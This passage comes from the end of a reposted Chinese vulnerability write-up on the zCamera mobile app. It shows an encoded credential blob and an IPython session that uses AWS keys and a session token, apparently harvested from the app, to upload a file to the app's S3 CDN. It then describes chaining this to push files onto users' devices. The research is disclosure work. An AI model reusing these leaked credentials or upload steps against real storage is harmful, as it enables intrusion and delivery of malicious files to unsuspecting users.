vF8Lcb21ExqlAgr/V61KDtS3z05LqIFdDugXihW5f6k/663IV7VWSnW5DQMk5t6fGRjqjDul5SDBjqHAuh+sQ22Te+LBgqRYqXhxrd5TfUAqS9QWaaZBOE6i8pOAN9RIXn6vcbObCOVVyt3wnNQ6Oi1URDQCn8DUn0MdFO6NQ2EJ4Y9H9yLm4foG3uJqAiiNPX78lIDa1qkvqaQBckNxhIYsSlrU5p2NdTl5k5woo8pWk2VAibgcq+JfqGrAZ6+tKR2Qy5aP96s49kOcRTqLrPcWjaDl9EWRIHSE20oWqFZgtzhUTKeuH/6dxQKI22MExMYSWJ3haIh4AaKVEpXbbtZ4oJ64w1ZWz5CU7zOnl4m2F8Bwh9hb6mP+95IUp0o9/kXcPjDe9YJ6kYFbDhU4oGCAjAHCxWsL6vJ5poJ/qNL3O15"},"IdentityId":"us-east-1:f86198c7-c5ac-499d-a3a8-f3f3d81dfd6b"}

收集的密钥和机密可用于上传恶意文件:

In [3]: client = boto3.client('s3', aws_access_key_id='ASIA434KFTPDWAXUDMIH', aws_secret_access_key='/zG9QSpBVeJGIWCg4tLGrJDcebFFscSoNvwMRNaO', aws_session_token='IQoJb3JpZ2luX2VjEE8aDmFwLW5vcnRoZWFzdC0xIkcwRQIhAJ
rgBgcgwfTTRKStiKqJm0V5lhCaOZGdv5FsTDnjJ1VdAiBPLLqsTPECBMvqlYgZtxQvdjkogHQ6e/sC7sEKx9vzYyqkBgiY//////////8BEAAaDDg4NDUxNjE2NjU5OSIM/3UJHbnWKR8tbGbCKvgFRxHRJ9I3p7eVLDUuFPLWv8ILMCn5Mg1wxDLnY/U1IfbkRRk3V6Evojk
 In [17]: client.upload_file('cross3x3.png', '3gcdn.tokyo', '/tmp/9A6C7-2021-03-09/headpic/crsog.pn')

然后,我们可以将意图代理与下载功能链接起来,在他不知情或未经他同意的情况下将文件下载到设备。

zCamera,一个拥有超过1亿次安装的应用,从远程入侵到数据泄露。

结论

本文介绍如何将多个漏洞链接在一起以远程利用移动应用程序。文件可能会在他不知情或未经他同意的情况下从设备中泄露。

我们还存在一些安全缺陷,从明文流量到硬编码密码和不安全的加密算法。

令人担忧的方面是,这些易受攻击的应用程序如何接触到许多用户,同时对用户的安全和隐私表现出粗心大意。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月15日03:20:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   zCamera,一个拥有超过1亿次安装的应用,从远程入侵到数据泄露。https://cn-sec.com/archives/2657389.html

发表评论

匿名网友 填写信息